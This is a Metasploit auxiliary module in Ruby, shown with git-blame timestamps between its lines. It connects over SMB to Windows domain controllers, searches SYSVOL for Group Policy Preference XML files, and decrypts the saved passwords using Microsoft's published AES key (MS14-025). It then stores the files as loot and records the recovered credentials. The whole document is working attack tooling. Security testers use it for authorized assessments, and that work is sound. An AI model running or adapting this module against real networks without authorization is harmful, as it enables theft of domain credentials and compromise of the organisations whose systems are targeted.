2015-07-28 19:21:33 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex/parser/group_policy_preferences'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-07-28 19:21:33 +00:00
|
|
|
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
# Aliases for common classes
|
|
|
|
SIMPLE = Rex::Proto::SMB::Client
|
|
|
|
XCEPT = Rex::Proto::SMB::Exceptions
|
|
|
|
CONST = Rex::Proto::SMB::Constants
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'SMB Group Policy Preference Saved Passwords Enumeration',
|
|
|
|
'Description' => %Q{
|
2015-09-17 00:30:40 +00:00
|
|
|
This module enumerates files from target domain controllers and connects to them via SMB.
|
|
|
|
It then looks for Group Policy Preference XML files containing local/domain user accounts
|
|
|
|
and passwords and decrypts them using Microsofts public AES key. This module has been
|
|
|
|
tested successfully on a Win2k8 R2 Domain Controller.
|
2015-07-28 19:21:33 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Joshua D. Abraham <jabra[at]praetorian.com>',
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-09-17 01:59:32 +00:00
|
|
|
['MSB', 'MS14-025'],
|
2015-07-28 19:21:33 +00:00
|
|
|
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
|
|
|
|
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
|
|
|
|
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
|
2015-09-17 01:59:32 +00:00
|
|
|
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']
|
2015-07-28 19:21:33 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
register_options([
|
|
|
|
OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']),
|
|
|
|
OptString.new('RPORT', [true, 'The Target port', 445]),
|
2015-09-17 01:59:32 +00:00
|
|
|
OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true])
|
2015-07-28 19:21:33 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2015-09-17 00:30:40 +00:00
|
|
|
def check_path(ip, path)
|
2015-07-28 19:21:33 +00:00
|
|
|
vprint_status("Trying to download \\\\#{ip}\\#{path}...")
|
|
|
|
begin
|
2015-09-17 00:30:40 +00:00
|
|
|
fd = simple.open("\\#{path}", 'ro')
|
|
|
|
fd.close
|
|
|
|
print_good "Found Policy Share on #{ip}"
|
|
|
|
smb_download(ip, path)
|
2015-07-28 19:21:33 +00:00
|
|
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
|
|
case e.get_error(e.error_code)
|
2015-09-17 00:30:40 +00:00
|
|
|
when 'STATUS_FILE_IS_A_DIRECTORY'
|
2015-07-28 19:21:33 +00:00
|
|
|
print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
|
2015-09-17 00:30:40 +00:00
|
|
|
when 'STATUS_OBJECT_NAME_NOT_FOUND'
|
2015-07-28 19:21:33 +00:00
|
|
|
vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
|
2015-09-17 00:30:40 +00:00
|
|
|
when 'STATUS_OBJECT_PATH_NOT_FOUND'
|
2015-07-28 19:21:33 +00:00
|
|
|
vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
|
2015-09-17 00:30:40 +00:00
|
|
|
when 'STATUS_ACCESS_DENIED'
|
2016-06-08 17:16:50 +00:00
|
|
|
vprint_error("Host reports access denied.")
|
2015-09-17 00:30:40 +00:00
|
|
|
when 'STATUS_BAD_NETWORK_NAME'
|
2016-06-08 17:16:50 +00:00
|
|
|
vprint_error("Host is NOT connected to #{datastore['SMBDomain']}!")
|
2015-09-17 00:30:40 +00:00
|
|
|
when 'STATUS_INSUFF_SERVER_RESOURCES'
|
2016-06-08 17:16:50 +00:00
|
|
|
vprint_error("Host rejected with insufficient resources!")
|
2015-09-17 00:30:40 +00:00
|
|
|
when 'STATUS_OBJECT_NAME_INVALID'
|
2015-07-28 19:21:33 +00:00
|
|
|
vprint_error("opening \\#{path} bad filename")
|
|
|
|
else
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-09-17 01:59:32 +00:00
|
|
|
def report_creds(ip, user, password)
|
2015-07-28 19:21:33 +00:00
|
|
|
service_data = {
|
|
|
|
address: ip,
|
2015-07-28 19:29:23 +00:00
|
|
|
port: rport,
|
2015-09-17 00:30:40 +00:00
|
|
|
protocol: 'tcp',
|
|
|
|
service_name: 'smb',
|
2015-07-28 19:21:33 +00:00
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
2015-09-17 01:59:32 +00:00
|
|
|
new_user = user.sub(/\s+.*/, '')
|
2015-07-28 19:21:33 +00:00
|
|
|
first, rest = new_user.split(/\\/)
|
2015-09-17 00:30:40 +00:00
|
|
|
if first && rest
|
|
|
|
domain = first
|
|
|
|
user = rest
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: user,
|
|
|
|
private_data: password,
|
|
|
|
private_type: :password,
|
|
|
|
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
|
|
|
realm_value: domain,
|
|
|
|
}
|
2015-07-28 19:21:33 +00:00
|
|
|
else
|
2015-09-17 00:30:40 +00:00
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: new_user,
|
|
|
|
private_data: password,
|
|
|
|
private_type: :password
|
|
|
|
}
|
2015-07-28 19:21:33 +00:00
|
|
|
end
|
|
|
|
credential_core = create_credential(credential_data.merge(service_data))
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
|
|
}
|
|
|
|
|
|
|
|
create_credential_login(login_data.merge(service_data))
|
|
|
|
end
|
|
|
|
|
2015-09-17 00:30:40 +00:00
|
|
|
def parse_xml(ip, path, xml_file)
|
|
|
|
mxml = xml_file[:xml]
|
2015-07-28 19:21:33 +00:00
|
|
|
print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}"
|
2015-09-17 01:59:32 +00:00
|
|
|
file_type = File.basename(xml_file[:path].gsub("\\","/"))
|
2015-07-28 19:21:33 +00:00
|
|
|
results = Rex::Parser::GPP.parse(mxml)
|
2015-09-17 01:59:32 +00:00
|
|
|
tables = Rex::Parser::GPP.create_tables(results, file_type, xml_file[:domain], xml_file[:dc])
|
|
|
|
|
2015-07-28 19:21:33 +00:00
|
|
|
tables.each do |table|
|
2015-09-17 01:59:32 +00:00
|
|
|
print_good(table.to_s)
|
2015-07-28 19:21:33 +00:00
|
|
|
end
|
2015-09-17 01:59:32 +00:00
|
|
|
|
2015-07-28 19:21:33 +00:00
|
|
|
results.each do |result|
|
|
|
|
if datastore['STORE']
|
2015-09-17 01:59:32 +00:00
|
|
|
stored_path = store_loot('windows.gpp.xml', 'text/plain', ip, xml_file[:xml], file_type, xml_file[:path])
|
2015-09-17 00:30:40 +00:00
|
|
|
print_status("XML file saved to: #{stored_path}")
|
2015-07-28 19:21:33 +00:00
|
|
|
end
|
|
|
|
|
2015-09-17 00:30:40 +00:00
|
|
|
report_creds(ip, result[:USER], result[:PASS])
|
2015-07-28 19:21:33 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-09-17 00:30:40 +00:00
|
|
|
def smb_download(ip, path)
|
2015-07-28 19:21:33 +00:00
|
|
|
vprint_status("Downloading #{path}...")
|
|
|
|
|
2015-09-17 00:30:40 +00:00
|
|
|
fd = simple.open("\\#{path}", 'ro')
|
|
|
|
data = fd.read
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
path_elements = path.split('\\')
|
|
|
|
ret_obj = {
|
2015-09-17 01:59:32 +00:00
|
|
|
:dc => ip,
|
|
|
|
:path => path,
|
|
|
|
:xml => data
|
2015-09-17 00:30:40 +00:00
|
|
|
}
|
|
|
|
ret_obj[:domain] = path_elements[0]
|
|
|
|
|
|
|
|
parse_xml(ip, path, ret_obj) if ret_obj
|
2015-07-28 19:21:33 +00:00
|
|
|
|
|
|
|
fname = path.split("\\")[-1]
|
2015-09-17 01:59:32 +00:00
|
|
|
|
2015-07-28 19:21:33 +00:00
|
|
|
if datastore['STORE']
|
2015-09-17 00:30:40 +00:00
|
|
|
path = store_loot('smb.shares.file', 'application/octet-stream', ip, data, fname)
|
|
|
|
print_good("#{fname} saved as: #{path}")
|
2015-07-28 19:21:33 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2015-09-17 00:30:40 +00:00
|
|
|
print_status('Connecting to the server...')
|
2015-07-28 19:21:33 +00:00
|
|
|
begin
|
2015-09-17 00:30:40 +00:00
|
|
|
connect
|
|
|
|
smb_login
|
2015-07-28 19:21:33 +00:00
|
|
|
print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...")
|
2015-09-17 00:30:40 +00:00
|
|
|
simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
|
2015-07-28 19:21:33 +00:00
|
|
|
|
2015-09-17 00:30:40 +00:00
|
|
|
root_listing = simple.client.find_first("*")
|
|
|
|
corp_domain = ''
|
|
|
|
root_listing.each_key do |key|
|
|
|
|
next if key == '.' || key == '..'
|
|
|
|
corp_domain = key
|
2015-07-28 19:21:33 +00:00
|
|
|
end
|
|
|
|
|
2015-09-17 00:30:40 +00:00
|
|
|
sub_folder_listing = simple.client.find_first("#{corp_domain}\\Policies\\*")
|
|
|
|
sub_folders = []
|
|
|
|
sub_folder_listing.each_key do |key|
|
|
|
|
next if key == '.' || key == '..'
|
|
|
|
sub_folders << key
|
2015-07-28 19:21:33 +00:00
|
|
|
end
|
|
|
|
|
2015-09-17 00:30:40 +00:00
|
|
|
gpp_locations = %w(
|
|
|
|
\\MACHINE\\Preferences\\Groups\\Groups.xml
|
|
|
|
\\USER\\Preferences\\Groups\\Groups.xml
|
|
|
|
\\MACHINE\\Preferences\\Services\\Services.xml
|
|
|
|
\\USER\\Preferences\\Printers\\Printers.xml
|
|
|
|
\\USER\\Preferences\\Drives\\Drives.xml
|
|
|
|
\\MACHINE\\Preferences\\Datasources\\DataSources.xml
|
|
|
|
\\USER\\Preferences\\Datasources\\DataSources.xml
|
|
|
|
\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
|
|
|
|
\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
|
|
|
|
)
|
|
|
|
sub_folders.each do |i|
|
2015-08-06 12:18:26 +00:00
|
|
|
gpp_locations.each do |gpp_l|
|
2015-09-17 00:30:40 +00:00
|
|
|
check_path(ip,"#{corp_domain}\\Policies\\#{i}#{gpp_l}")
|
2015-08-06 12:18:26 +00:00
|
|
|
end
|
2015-07-28 19:21:33 +00:00
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("#{rhost}: #{e.class} #{e}")
|
|
|
|
ensure
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|